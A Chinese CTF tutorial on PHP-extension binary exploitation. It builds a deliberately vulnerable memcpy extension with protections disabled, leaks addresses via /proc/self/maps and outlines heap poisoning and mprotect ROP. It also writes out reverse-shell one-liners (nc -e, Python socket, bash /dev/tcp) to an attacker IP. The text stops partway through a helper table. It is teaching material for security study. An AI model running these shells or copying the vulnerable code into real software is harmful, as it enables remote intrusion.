CTF-PWN-web pwn初探

文章目录

参考

https://xz.aliyun.com/t/15166?time__1311=GqjxuQi%3DDQ%3D0yRx%2BxCqiKwmmm93Y5Lox#toc-1

简介

Webpwn目前大多数针对的是Php,我们需要重点分析的是 PHP 加载的外部拓展,漏洞点通常在 so拓展库中。由于 php加载扩展库来调用其内部函数,所以和常规 PWN题最大的不同点,就是我们不能直接获得交互式的shell。这里通常是需要采用 popen或者 exec函数族来进行执行 bash命令来反弹 shell,直接执行 one_gadget或者 system是不可行的。

生命周期

  1. 扩展模块的生命周期:

a) Module Init (MINIT):PHP解释器启动,加载相关模块,在此时调用相关模块的MINIT方法,仅被调用一次

例子: 假设我们有一个数据库连接池扩展。

c 复制代码
PHP_MINIT_FUNCTION(db_pool)
{
    // 初始化连接池
    initialize_connection_pool();
    return SUCCESS;
}

这个函数在PHP启动时只调用一次,用于初始化连接池。

b) Request Init (RINIT):每个请求达到时都被触发。SAPI层将控制权交由PHP层,PHP初始化本次请求执行脚本所需的环境变量,函数列表等,调用所有模块的RINIT函数。

例子: 一个会话管理扩展。

c 复制代码
PHP_RINIT_FUNCTION(session_manager)
{
    // 为每个请求创建新的会话
    create_new_session();
    return SUCCESS;
}

每个HTTP请求开始时都会调用此函数,为每个请求创建新会话。

c) Request Shutdown (RSHUTDOWN):请求结束,PHP就会自动清理程序,顺序调用各个模块的RSHUTDOWN方法,清除程序运行期间的符号表。

例子: 清理请求特定资源的扩展。

c 复制代码
PHP_RSHUTDOWN_FUNCTION(resource_cleaner)
{
    // 清理请求期间分配的资源
    free_request_resources();
    return SUCCESS;
}

每个请求结束时调用,用于清理该请求使用的资源。

d) Module Shutdown (MSHUTDOWN):服务器关闭,PHP调用各个模块的MSHUTDOWN方法释放内存。

例子: 关闭数据库连接池。

c 复制代码
PHP_MSHUTDOWN_FUNCTION(db_pool)
{
    // 关闭连接池
    shutdown_connection_pool();
    return SUCCESS;
}

PHP终止时调用,用于清理模块级资源。

  1. PHP的运行模式:

a) CLI运行模式 (单进程SAPI):

例子:

bash 复制代码
php script.php

这会启动PHP解释器,执行script.php,然后退出。整个过程只有一个MINIT和一个MSHUTDOWN,但RINIT和RSHUTDOWN会为脚本执行调用一次。

b) CGI运行模式 (大部分 多进程SAPI):

例子: Apache with mod_cgi

当收到HTTP请求时,Apache会为每个请求fork一个新的PHP进程。

[Apache] <- HTTP Request
    |
    ├── [PHP Process 1] (MINIT -> RINIT -> Execute -> RSHUTDOWN -> MSHUTDOWN)
    |
    ├── [PHP Process 2] (MINIT -> RINIT -> Execute -> RSHUTDOWN -> MSHUTDOWN)
    |
    └── [PHP Process 3] (MINIT -> RINIT -> Execute -> RSHUTDOWN -> MSHUTDOWN)

每个进程处理一个请求后就终止,所以每个请求都会经历完整的模块生命周期。

其中fork的进程,和原进程的内存布局一般来说是一模一样的,所以这里如果能拿到/proc/{pid}/maps文件,则可以拿到该进程的内存布局,形成内存泄露,此方式在De1CTF中的这道WEBPWN上是第一个突破点,利用的其有漏洞的包含函数来读取/proc/self/maps,可以拿到所有基地址,从而无视PIE保护。

bash 复制代码
llk@ubuntu:~/Desktop/tools/php-src/ext/hello/modules$  cat /proc/90065/maps
555555554000-555555627000 r--p 00000000 08:05 286222                     /usr/bin/php7.4
555555627000-555555891000 r-xp 000d3000 08:05 286222                     /usr/bin/php7.4
555555891000-555555957000 r--p 0033d000 08:05 286222                     /usr/bin/php7.4
555555958000-5555559e3000 r--p 00403000 08:05 286222                     /usr/bin/php7.4
5555559e3000-5555559e5000 rw-p 0048e000 08:05 286222                     /usr/bin/php7.4
5555559e5000-555555ba0000 rw-p 00000000 00:00 0                          [heap]
7ffff3f22000-7ffff3fa3000 rw-p 00000000 00:00 0 
7ffff3fcc000-7ffff3fd0000 r--p 00000000 08:05 280238                     /usr/lib/x86_64-linux-gnu/libgpg-error.so.0.28.0
7ffff3fd0000-7ffff3fe3000 r-xp 00004000 08:05 280238                     /usr/lib/x86_64-linux-gnu/libgpg-error.so.0.28.0
7ffff3fe3000-7ffff3fed000 r--p 00017000 08:05 280238                     /usr/lib/x86_64-linux-gnu/libgpg-error.so.0.28.0
7ffff3fed000-7ffff3fee000 r--p 00020000 08:05 280238                     /usr/lib/x86_64-linux-gnu/libgpg-error.so.0.28.0
7ffff3fee000-7ffff3fef000 rw-p 00021000 08:05 280238                     /usr/lib/x86_64-linux-gnu/libgpg-error.so.0.28.0
7ffff3fef000-7ffff3ffb000 r--p 00000000 08:05 280162                     /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.2.5
7ffff3ffb000-7ffff40c9000 r-xp 0000c000 08:05 280162                     /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.2.5
7ffff40c9000-7ffff4106000 r--p 000da000 08:05 280162                     /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.2.5
7ffff4106000-7ffff4108000 r--p 00116000 08:05 280162                     /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.2.5
7ffff4108000-7ffff410d000 rw-p 00118000 08:05 280162                     /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.2.5
7ffff410d000-7ffff4111000 r--p 00000000 08:05 280080                     /usr/lib/x86_64-linux-gnu/libexslt.so.0.8.20
7ffff4111000-7ffff411f000 r-xp 00004000 08:05 280080                     /usr/lib/x86_64-linux-gnu/libexslt.so.0.8.20
7ffff411f000-7ffff4123000 r--p 00012000 08:05 280080                     /usr/lib/x86_64-linux-gnu/libexslt.so.0.8.20
7ffff4123000-7ffff4124000 r--p 00015000 08:05 280080                     /usr/lib/x86_64-linux-gnu/libexslt.so.0.8.20

c) FastCGI运行模式 (多进程SAPI,但进程可复用):

例子: Nginx with PHP-FPM

[Nginx] <- HTTP Requests
    |
    ├── [PHP-FPM Process 1] (MINIT -> [RINIT -> Execute -> RSHUTDOWN] x N -> MSHUTDOWN)
    |
    └── [PHP-FPM Process 2] (MINIT -> [RINIT -> Execute -> RSHUTDOWN] x N -> MSHUTDOWN)

PHP-FPM进程在处理多个请求后才会退出,所以MINIT和MSHUTDOWN只在进程启动和结束时调用一次,而RINIT和RSHUTDOWN则为每个请求调用。

php扩展模块

小猪教你开发php扩展

在 Linux环境下,PHP 拓展通常为 .so文件,拓展模块放置的路径可以通过如下方式查看:

搭建php

bash 复制代码
sudo apt install php php-dev # 安装php,以及php开发包头
php -v # 查看php版本 直到当前对应的版本是7.4.3

根据版本下载对应源码
https://github.com/php/php-src/tree/PHP-7.4.3

bash 复制代码
git clone https://github.com/php/php-src.git
cd  php-src
git checkout PHP-7.4.3
git fetch

源码目录结构

c 复制代码
php-src
  |____build    --和编译有关的目录,里面包括wk,awk和sh脚本用于编译处理,其中m4文件是linux下编译程序自动生成的文件,可以使用buildconf命令操作具体的配置文件。
  |____ext      --扩展库代码,例如Mysql,gd,zlib,xml,iconv 等我们熟悉的扩展库,ext_skel是linux下扩展生成脚本,windows下使用ext_skel_win32.php。
  |____main     --主目录,包含PHP的主要宏定义文件,php.h包含绝大部分PHP宏及PHP API定义。
  |____netware  --网络目录,只有sendmail_nw.h和start.c,分别定义SOCK通信所需要的头文件和具体实现。
  |____pear     --扩展包目录,PHP Extension and Application Repository。
  |____sapi     --各种服务器的接口调用,如Apache,IIS等。
  |____scripts  --linux下的脚本目录。
  |____tests    --测试脚本目录,主要是phpt脚本,由--TEST--,--POST--,--FILE--,--EXPECT--组成,需要初始化可添加--INI--部分。
  |____TSRM     --线程安全资源管理器,Thread Safe Resource Manager保证在单线程和多线程模型下的线程安全和代码一致性。
  |____win32    --Windows下编译PHP 有关的脚本。
  |____Zend     --包含Zend引擎的所有文件,包括PHP的生命周期,内存管理,变量定义和赋值以及函数宏定义等等。

扩展模块初始化

bash 复制代码
cd ext
php ext_skel.php --ext extend_name 在当前目录生成一个extend_name 的文件夹
bash 复制代码
cd hello
ls
config.m4  config.w32  hello.c  php_hello.h  tests
  1. config.m4

    • 用途:用于 Unix-like 系统的配置脚本
    • 作用:定义扩展的编译选项,包括依赖项、编译标志等
    • 在运行 ./configure 时使用
  2. config.w32

    • 用途:用于 Windows 系统的配置脚本
    • 作用:类似于 config.m4,但针对 Windows 环境
    • 在 Windows 上编译扩展时使用
  3. hello.c

    • 用途:扩展的主要源代码文件
    • 作用:
      • 包含扩展的核心功能实现
      • 定义 PHP 函数、类、常量等
      • 包含模块初始化和关闭函数
  4. php_hello.h

    • 用途:扩展的头文件
    • 作用:
      • 声明在 hello.c 中定义的函数
      • 定义扩展使用的常量和宏
      • 可能包含其他必要的结构定义
  5. tests/ 目录

    • 用途:存放扩展的测试文件
    • 作用:
      • 包含 .phpt 文件,用于测试扩展的功能
      • 帮助确保扩展在不同环境下正常工作
      • 可以使用 make test 运行这些测试

编写扩展模块

编写PHP扩展是基于Zend API和一些宏的,所以如果要编写核心代码,我们首先要弄清楚PHP Extension的结构。因为一个PHP Extension在C语言层面实际上就是一个zend_module_entry结构体

关于其类型zend_module_entry的定义可以在PHP源代码的"Zend/zend_modules.h"文件里找到,下面代码是zend_module_entry的定义

c 复制代码
typedef struct _zend_module_entry zend_module_entry;
struct _zend_module_entry {
  unsigned short size;
  unsigned int zend_api;
  unsigned char zend_debug;
  unsigned char zts;
  const struct _zend_ini_entry *ini_entry;
  const struct _zend_module_dep *deps;
  const char *name;        # PHP Extension的名字
  const struct _zend_function_entry *functions;  # 存放我们在此扩展中定义的函数的引用
  int (*module_startup_func)(INIT_FUNC_ARGS);  # 函数指针,扩展模块加载时被调用
  int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS); # 函数指针,扩展模块卸载时时被调用
  int (*request_startup_func)(INIT_FUNC_ARGS); # 函数指针,每个请求开始时时被调用
  int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS); # 函数指针,每个请求结束时时被调用
  void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);  # 函数指针,这个指针指向的函数会在执行phpinfo()时被调用,用于显示自定义模块信息。
  const char *version;  # 模块的版本
  size_t globals_size;
  #ifdef ZTS
  ts_rsrc_id* globals_id_ptr;
  #else
  void* globals_ptr;
  #endif
  void (*globals_ctor)(void *global TSRMLS_DC);
  void (*globals_dtor)(void *global TSRMLS_DC);
  int (*post_deactivate_func)(void);
  int module_started;
  unsigned char type;
  void *handle;
  int module_number;
  char *build_id;
};

现在看看自动生成的hello_module_entry

c 复制代码
zend_module_entry hello_module_entry = {
	STANDARD_MODULE_HEADER,
	"hello",					/* Extension name */
	hello_functions,			/* zend_function_entry */
	NULL,							/* PHP_MINIT - Module initialization */
	NULL,							/* PHP_MSHUTDOWN - Module shutdown */
	PHP_RINIT(hello),			/* PHP_RINIT - Request initialization */
	NULL,							/* PHP_RSHUTDOWN - Request shutdown */
	PHP_MINFO(hello),			/* PHP_MINFO - Module info */
	PHP_HELLO_VERSION,		/* Version */
	STANDARD_MODULE_PROPERTIES
};

宏"STANDARD_MODULE_HEADER"会生成前6个字段,"STANDARD_MODULE_PROPERTIES "会生成"version"后的字段,而中间就是各个操作时候调用的函数

c 复制代码
PHP_RINIT(hello)对应到
PHP_RINIT_FUNCTION(hello)
{
......
}
PHP_MINFO(hello)对应到
PHP_MINFO_FUNCTION(hello)
{
......
}

而PHP_FUNCTION宏修饰的函数代表该函数可以直接在php中进行调用

c 复制代码
PHP_FUNCTION(easy_phppwn)
{
	char *arg = NULL;
    size_t arg_len, len;
    char buf[100];
    if(zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE){
        return;
    }
    memcpy(buf, arg, arg_len);
    php_printf("The baby phppwn.\n");
    return SUCCESS;
}

解析参数是通过zend_parse_parameters函数实现的,这个函数的作用是从函数用户的输入栈中读取数据,然后转换成相应的函数参数填入变量以供后面核心功能代码使用。zend_parse_parameters的第一个参数是用户传入参数的个数,可以由宏"ZEND_NUM_ARGS()"生成;第二个参数是一个字符串,其中每个字母代表一个变量类型,我们只有一个字符串型变量,所以第二个参数是"s";最后各个参数需要一些必要的局部变量指针用于存储数据,下表给出了不同变量类型的字母代表及其所需要的局部变量指针

  • b zend_bool

  • l long

  • d double

  • s char*,int

  • h HashTable*

并且最后需要注册到zend_function_entry

c 复制代码
static const zend_function_entry hello_functions[] = {
	PHP_FE(easy_phppwn,		NULL)
	PHP_FE_END
};

然后再放到hello_module_entry const struct _zend_function_entry *functions; # 存放我们在此扩展中定义的函数的引用的位置处

编译扩展模块

bash 复制代码
phpize
./configure --with-php-config=/usr/bin/php-config

然后在生成的Makefile文件中,在如下位置设置编译参数,取消栈保护,并且取消-O2优化,否则会加上FORTIFY保护,导致memcpy函数加上长度检查变为__memcpy_chk函数

设置好之后我们可以直接使用make命令编译,编译完成后,会在当前目录生成./modules目录,目录下就是我们需要的.so扩展文件,将其复制到,php扩展目录下,之后再php.ini文件中配置启动扩展即可,

bash 复制代码
/etc/php/7.4/apache2/php.ini
/etc/php/7.4/cli/php.ini # 通常调试时使用CLI模式,所以只配置了该目录下的php.ini文件
bash 复制代码
sudo cp hello.so /usr/lib/php/20190902/ # 将扩展库赋值到php搜索扩展库的路径中

测试

bash 复制代码
<?php
phpinfo()
$a = "abcd";
easy_phppwn($a);
?>


检查

调试

放入IDA中

c 复制代码
void __cdecl zif_easy_phppwn(zend_execute_data *execute_data, zval *return_value)
{
  char buf[100]; // [rsp+10h] [rbp-80h] BYREF
  size_t n; // [rsp+80h] [rbp-10h] BYREF
  char *arg; // [rsp+88h] [rbp-8h] BYREF

  arg = 0LL;
  if ( (unsigned int)zend_parse_parameters(execute_data->This.u2.next, "s", &arg, &n) != -1 )
  {
    memcpy(buf, arg, n);
    php_printf("The baby phppwn.\n");
  }
}

存在栈溢出,泄露 libc地址,然后 执行 ROP

bash 复制代码
gdb php
r
vmmap
......
    0x7ffff7fc4000     0x7ffff7fc5000 r--p     1000      0 /usr/lib/php/20190902/hello.so
    0x7ffff7fc5000     0x7ffff7fc6000 r-xp     1000   1000 /usr/lib/php/20190902/hello.so
    0x7ffff7fc6000     0x7ffff7fc7000 r--p     1000   2000 /usr/lib/php/20190902/hello.so
    0x7ffff7fc7000     0x7ffff7fc8000 r--p     1000   2000 /usr/lib/php/20190902/hello.so
    0x7ffff7fc8000     0x7ffff7fc9000 rw-p     1000   3000 /usr/lib/php/20190902/hello.so
......

可以看到扩展模块已经被加入进去了

设置断点,先run然后crtl+c终止,再设置断点(因为run之后才会将扩展库加载进来),再设置参数然后run,由于自己编译make带了调试信息,可以源码调试

bash 复制代码
pwndbg> run
pwndbg> b*zif_easy_phppwn
Breakpoint 1 at 0x7ffff7fc51b9: file /home/llk/Desktop/tools/php-src/ext/hello/hello.c, line 12.
pwndbg> set args ./pwn.php
bash 复制代码
 ► 0x7ffff7fc51b9 <zif_easy_phppwn>       endbr64 
   0x7ffff7fc51bd <zif_easy_phppwn+4>     push   rbp
   0x7ffff7fc51be <zif_easy_phppwn+5>     mov    rbp, rsp                        RBP => 0x7fffffffa430 ◂--- 0
   0x7ffff7fc51c1 <zif_easy_phppwn+8>     sub    rsp, 0x90                       RSP => 0x7fffffffa3a0 (0x7fffffffa430 - 0x90)
   0x7ffff7fc51c8 <zif_easy_phppwn+15>    mov    qword ptr [rbp - 0x88], rdi     [0x7fffffffa3a8] => 0x7ffff5413090 ◂--- 0x6461656820666f20 (' of head')
   0x7ffff7fc51cf <zif_easy_phppwn+22>    mov    qword ptr [rbp - 0x90], rsi     [0x7fffffffa3a0] => 0x7fffffffa490 ---▸ 0x7fffffffca40 ---▸ 0x555555a33170 ◂--- ...
   0x7ffff7fc51d6 <zif_easy_phppwn+29>    mov    qword ptr [rbp - 8], 0          [0x7fffffffa428] => 0
   0x7ffff7fc51de <zif_easy_phppwn+37>    mov    rax, qword ptr [rbp - 0x88]     RAX, [0x7fffffffa3a8] => 0x7ffff5413090 ◂--- 0x6461656820666f20 (' of head')
   0x7ffff7fc51e5 <zif_easy_phppwn+44>    mov    eax, dword ptr [rax + 0x2c]     EAX, [0x7ffff54130bc] => 1
   0x7ffff7fc51e8 <zif_easy_phppwn+47>    mov    edi, eax                        EDI => 1
   0x7ffff7fc51ea <zif_easy_phppwn+49>    lea    rdx, [rbp - 0x10]               RDX => 0x7fffffffa420 ◂--- 1
─────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────
In file: /home/llk/Desktop/tools/php-src/ext/hello/hello.c:12
    7 #include "php.h"
    8 #include "ext/standard/info.h"
    9 #include "php_hello.h"
   10 
   11 PHP_FUNCTION(easy_phppwn)
 ► 12 {
   13         char *arg = NULL;
   14     size_t arg_len, len;
   15     char buf[100];
   16     if(zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE){
   17         return;

断libc函数直接断断不下来可以先main再断

相关技巧

/proc/self/maps泄露

php 复制代码
<?php
// 读取 /proc/self/maps 文件内容
$content = file_get_contents('/proc/self/maps');
echo $content ; //打印/proc/self/maps内容
// 函数用于解析基地址
function getBaseAddress($content, $pattern) {
    if (preg_match_all($pattern, $content, $matches)) {
        return $matches[1]; // 返回所有匹配的基地址
    }
    return null;
}

// 匹配 libc 的基地址
$libcPattern = '/^([0-9a-f]+)-[0-9a-f]+\\s+r--p\\s+.*?\\s+\\S*libc.*$/m';
$libcBaseAddresses = getBaseAddress($content, $libcPattern);

if ($libcBaseAddresses) {
    echo "libc base addresses:\n";
    foreach ($libcBaseAddresses as $address) {
        echo "0x$address\n";
        break;
    }
} else {
    echo "No libc base address found.\n";
}

// 匹配 stack 的基地址
$stackPattern = '/^([0-9a-f]+)-[0-9a-f]+\\s+rw-p\\s+.*?\\s+\\[stack\\]$/m';
$stackBaseAddresses = getBaseAddress($content, $stackPattern);

if ($stackBaseAddresses) {
    echo "stack base address:\n";
    foreach ($stackBaseAddresses as $address) {
        echo "0x$address\n";
        break;
    }
} else {
    echo "No stack base address found.\n";
}
?>

php堆

PHP的内存管理机制与传统的ptmalloc不同,它更类似于内核中的slab/slub分配器。

PHP 内存管理机制

  1. 一次性申请大块内存:PHP执行时会一次性向系统申请一大块内存作为内存池。
  2. 内存池管理:PHP有一个内存管理池,内存分配时会优先从这个池中寻找合适的内存块。如果找不到合适的块,才会向系统申请新的内存。
  3. 内存回收:释放的内存不会立即交还给系统,而是放回内存池继续使用。
  4. 内存块结构 :PHP的内存块没有传统的堆头,而是与内存桶对齐。空闲的内存块通过一个 fd 指针指向下一个相同大小的内存块。

空闲堆块管理

PHP的空闲堆块通过 fd 指针链接成链表,这有点类似于glibc的tcache机制。未被分配的内存块将通过 fd 指针形成链表,指向下一个相同大小的内存块。

示例解释

1. 内存分配示例

假设我们有一个PHP脚本如下:

php 复制代码
<?php
$str1 = str_repeat("A", 32);
$str2 = str_repeat("B", 32);

在这个示例中,PHP首先会尝试从内存池中找到两个32字节的块。如果找到就直接分配给 $str1$str2,如果没有找到合适的块,才会向系统申请新的内存块。

2. 内存释放示例

继续上面的例子:

php 复制代码
<?php
unset($str1);
$str1 = str_repeat("C", 32);

unset($str1) 被调用时,32字节的块会被标记为空闲,并通过 fd 指针加入到空闲链表中。当再次分配32字节的块(如 $str1 = str_repeat("C", 32)),PHP会从空闲链表中重用之前释放的块。

3. tcache poison 攻击

由于PHP的内存管理机制类似于tcache,且未对 fd 指针做过多检查,这里可以利用 fd 指针进行tcache poison攻击。

假设我们可以控制某个内存块的内容,如:

php 复制代码
<?php
$str1 = str_repeat("A", 32);
unset($str1); // 释放32字节块

// 控制fd指针,假设这里有办法将fd指向任意地址
$malicious_fd = 0x41414141; // 任意地址

通过这种方式,我们可以让 fd 指向任意地址,实现将内存块分配到任意地址的目的。这种攻击方式利用了PHP内存管理机制中的漏洞,可以在某些条件下实现任意地址写入。

溢出mprotect改栈权限

溢出可以使用rop链构造调用mprotect函数来给stack执行权限,然后找一个jmp rsp来直接执行shellcode

反弹shell

工作原理:

  1. 攻击者在自己的机器上监听一个特定端口
  2. 在目标机器上执行一个命令,使其连接到攻击者的机器
  3. 连接建立后,目标机器的shell被重定向到这个连接

举例说明:

  1. 使用 netcat (nc) 的例子:

攻击者机器(IP: 10.0.0.1):

nc -lvp 4444

这会在4444端口上监听incoming连接。

目标机器:

nc 10.0.0.1 4444 -e /bin/bash

这会连接到攻击者机器并执行bash shell。

  1. 使用 Python 的例子:

攻击者机器(IP: 10.0.0.1):

nc -lvp 4444

目标机器:

python 复制代码
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.1",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
  1. 使用 Bash 的例子:

攻击者机器(IP: 10.0.0.1):

nc -lvp 4444

目标机器:

bash 复制代码
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

这些例子都会在目标机器上创建一个shell,并将其输入/输出重定向到攻击者机器。

常用php

php 复制代码
//零字节
"\x00"
//等价于p64
pack('Q', $p_rdi_r)
//等价于'a'*0x80
str_repeat('a', 0x80);
//等价于command.ljust(0x60,"\x00")
str_pad($command, 0x60, "\x00")
//等价于p64
function p64(string $value):string{
    static $p64_table=[
        0=>"\x00",1=>"\x01",2=>"\x02",3=>"\x03",4=>"\x04",5=>"\x05",6=>"\x06",7=>"\x07",8=>"\x08",9=>"\x09",10=>"\x0a",
        11=>"\x0b",12=>"\x0c",13=>"\x0d",14=>"\x0e",15=>"\x0f",16=>"\x10",17=>"\x11",18=>"\x12",19=>"\x13",20=>"\x14",
        21=>"\x15",22=>"\x16",23=>"\x17",24=>"\x18",25=>"\x19",26=>"\x1a",27=>"\x1b",28=>"\x1c",29=>"\x1d",30=>"\x1e",
        31=>"\x1f",32=>"\x20",33=>"\x21",34=>"\x22",35=>"\x23",36=>"\x24",37=>"\x25",38=>"\x26",39=>"\x27",40=>"\x28",
        41=>"\x29",42=>"\x2a",43=>"\x2b",44=>"\x2c",45=>"\x2d",46=>"\x2e",47=>"\x2f",48=>"\x30",49=>"\x31",50=>"\x32",
        51=>"\x33",52=>"\x34",53=>"\x35",54=>"\x36",55=>"\x37",56=>"\x38",57=>"\x39",58=>"\x3a",59=>"\x3b",60=>"\x3c",
        61=>"\x3d",62=>"\x3e",63=>"\x3f",64=>"\x40",65=>"\x41",66=>"\x42",67=>"\x43",68=>"\x44",69=>"\x45",70=>"\x46",
        71=>"\x47",72=>"\x48",73=>"\x49",74=>"\x4a",75=>"\x4b",76=>"\x4c",77=>"\x4d",78=>"\x4e",79=>"\x4f",80=>"\x50",
        81=>"\x51",82=>"\x52",83=>"\x53",84=>"\x54",85=>"\x55",86=>"\x56",87=>"\x57",88=>"\x58",89=>"\x59",90=>"\x5a",
        91=>"\x5b",92=>"\x5c",93=>"\x5d",94=>"\x5e",95=>"\x5f",96=>"\x60",97=>"\x61",98=>"\x62",99=>"\x63",100=>"\x64",
        101=>"\x65",102=>"\x66",103=>"\x67",104=>"\x68",105=>"\x69",106=>"\x6a",107=>"\x6b",108=>"\x6c",109=>"\x6d",110=>"\x6e",
        111=>"\x6f",112=>"\x70",113=>"\x71",114=>"\x72",115=>"\x73",116=>"\x74",117=>"\x75",118=>"\x76",119=>"\x77",120=>"\x78",
        121=>"\x79",122=>"\x7a",123=>"\x7b",124=>"\x7c",125=>"\x7d",126=>"\x7e",127=>"\x7f",128=>"\x80",129=>"\x81",130=>"\x82",
        131=>"\x83",132=>"\x84",133=>"\x85",134=>"\x86",135=>"\x87",136=>"\x88",137=>"\x89",138=>"\x8a",139=>"\x8b",140=>"\x8c",
        141=>"\x8d",142=>"\x8e",143=>"\x8f",144=>"\x90",145=>"\x91",146=>"\x92",147=>"\x93",148=>"\x94",149=>"\x95",150=>"\x96",
        151=>"\x97",152=>"\x98",153=>"\x99",154=>"\x9a",155=>"\x9b",156=>"\x9c",157=>"\x9d",158=>"\x9e",159=>"\x9f",160=>"\xa0",
        161=>"\xa1",162=>"\xa2",163=>"\xa3",164=>"\xa4",165=>"\xa5",166=>"\xa6",167=>"\xa7",168=>"\xa8",169=>"\xa9",170=>"\xaa",
        171=>"\xab",172=>"\xac",173=>"\xad",174=>"\xae",175=>"\xaf",176=>"\xb0",177=>"\xb1",178=>"\xb2",179=>"\xb3",180=>"\xb4",
        181=>"\xb5",182=>"\xb6",183=>"\xb7",184=>"\xb8",185=>"\xb9",186=>"\xba",187=>"\xbb",188=>"\xbc",189=>"\xbd",190=>"\xbe",
        191=>"\xbf",192=>"\xc0",193=>"\xc1",194=>"\xc2",195=>"\xc3",196=>"\xc4",197=>"\xc5",198=>"\xc6",199=>"\xc7",200=>"\xc8",
        201=>"\xc9",202=>"\xca",203=>"\xcb",204=>"\xcc",205=>"\xcd",206=>"\xce",207=>"\xcf",208=>"\xd0",209=>"\xd1",210=>"\xd2",
        211=>"\xd3",212=>"\xd4",213=>"\xd5",214=>"\xd6",215=>"\xd7",216=>"\xd8",217=>"\xd9",218=>"\xda",219=>"\xdb",220=>"\xdc",
        221=>"\xdd",222=>"\xde",223=>"\xdf",224=>"\xe0",225=>"\xe1",226=>"\xe2",227=>"\xe3",228=>"\xe4",229=>"\xe5",230=>"\xe6",
        231=>"\xe7",232=>"\xe8",233=>"\xe9",234=>"\xea",235=>"\xeb",236=>"\xec",237=>"\xed",238=>"\xee",239=>"\xef",240=>"\xf0",
        241=>"\xf1",242=>"\xf2",243=>"\xf3",244=>"\xf4",245=>"\xf5",246=>"\xf6",247=>"\xf7",248=>"\xf8",249=>"\xf9",250=>"\xfa",
        251=>"\xfb",252=>"\xfc",253=>"\xfd",254=>"\xfe",255=>"\xff"
    ];
    $result = "";
    for($i = 0; $i < 8; $i++){
        $remainder = $value % 0x100;
        $value =  (int)($value/0x100);
        $result .= $p64_table[$remainder];
    }
    return $result;
}
//等价于u64
function u64(string $bytes):int{
    static $u64_table=[
        "\x00"=>0,"\x01"=>1,"\x02"=>2,"\x03"=>3,"\x04"=>4,"\x05"=>5,"\x06"=>6,"\x07"=>7,"\x08"=>8,"\x09"=>9,"\x0a"=>10,
        "\x0b"=>11,"\x0c"=>12,"\x0d"=>13,"\x0e"=>14,"\x0f"=>15,"\x10"=>16,"\x11"=>17,"\x12"=>18,"\x13"=>19,"\x14"=>20,
        "\x15"=>21,"\x16"=>22,"\x17"=>23,"\x18"=>24,"\x19"=>25,"\x1a"=>26,"\x1b"=>27,"\x1c"=>28,"\x1d"=>29,"\x1e"=>30,
        "\x1f"=>31,"\x20"=>32,"\x21"=>33,"\x22"=>34,"\x23"=>35,"\x24"=>36,"\x25"=>37,"\x26"=>38,"\x27"=>39,"\x28"=>40,
        "\x29"=>41,"\x2a"=>42,"\x2b"=>43,"\x2c"=>44,"\x2d"=>45,"\x2e"=>46,"\x2f"=>47,"\x30"=>48,"\x31"=>49,"\x32"=>50,
        "\x33"=>51,"\x34"=>52,"\x35"=>53,"\x36"=>54,"\x37"=>55,"\x38"=>56,"\x39"=>57,"\x3a"=>58,"\x3b"=>59,"\x3c"=>60,
        "\x3d"=>61,"\x3e"=>62,"\x3f"=>63,"\x40"=>64,"\x41"=>65,"\x42"=>66,"\x43"=>67,"\x44"=>68,"\x45"=>69,"\x46"=>70,
        "\x47"=>71,"\x48"=>72,"\x49"=>73,"\x4a"=>74,"\x4b"=>75,"\x4c"=>76,"\x4d"=>77,"\x4e"=>78,"\x4f"=>79,"\x50"=>80,
        "\x51"=>81,"\x52"=>82,"\x53"=>83,"\x54"=>84,"\x55"=>85,"\x56"=>86,"\x57"=>87,"\x58"=>88,"\x59"=>89,"\x5a"=>90,
        "\x5b"=>91,"\x5c"=>92,"\x5d"=>93,"\x5e"=>94,"\x5f"=>95,"\x60"=>96,"\x61"=>97,"\x62"=>98,"\x63"=>99,"\x64"=>100,
        "\x65"=>101,"\x66"=>102,"\x67"=>103,"\x68"=>104,"\x69"=>105,"\x6a"=>106,"\x6b"=>107,"\x6c"=>108,"\x6d"=>109,"\x6e"=>110,
        "\x6f"=>111,"\x70"=>112,"\x71"=>113,"\x72"=>114,"\x73"=>115,"\x74"=>116,"\x75"=>117,"\x76"=>118,"\x77"=>119,"\x78"=>120,
        "\x79"=>121,"\x7a"=>122,"\x7b"=>123,"\x7c"=>124,"\x7d"=>125,"\x7e"=>126,"\x7f"=>127,"\x80"=>128,"\x81"=>129,"\x82"=>130,
        "\x83"=>131,"\x84"=>132,"\x85"=>133,"\x86"=>134,"\x87"=>135,"\x88"=>136,"\x89"=>137,"\x8a"=>138,"\x8b"=>139,"\x8c"=>140,
        "\x8d"=>141,"\x8e"=>142,"\x8f"=>143,"\x90"=>144,"\x91"=>145,"\x92"=>146,"\x93"=>147,"\x94"=>148,"\x95"=>149,"\x96"=>150,
        "\x97"=>151,"\x98"=>152,"\x99"=>153,"\x9a"=>154,"\x9b"=>155,"\x9c"=>156,"\x9d"=>157,"\x9e"=>158,"\x9f"=>159,"\xa0"=>160,
        "\xa1"=>161,"\xa2"=>162,"\xa3"=>163,"\xa4"=>164,"\xa5"=>165,"\xa6"=>166,"\xa7"=>167,"\xa8"=>168,"\xa9"=>169,"\xaa"=>170,
        "\xab"=>171,"\xac"=>172,"\xad"=>173,"\xae"=>174,"\xaf"=>175,"\xb0"=>176,"\xb1"=>177,"\xb2"=>178,"\xb3"=>179,"\xb4"=>180,
        "\xb5"=>181,"\xb6"=>182,"\xb7"=>183,"\xb8"=>184,"\xb9"=>185,"\xba"=>186,"\xbb"=>187,"\xbc"=>188,"\xbd"=>189,"\xbe"=>190,
        "\xbf"=>191,"\xc0"=>192,"\xc1"=>193,"\xc2"=>194,"\xc3"=>195,"\xc4"=>196,"\xc5"=>197,"\xc6"=>198,"\xc7"=>199,"\xc8"=>200,
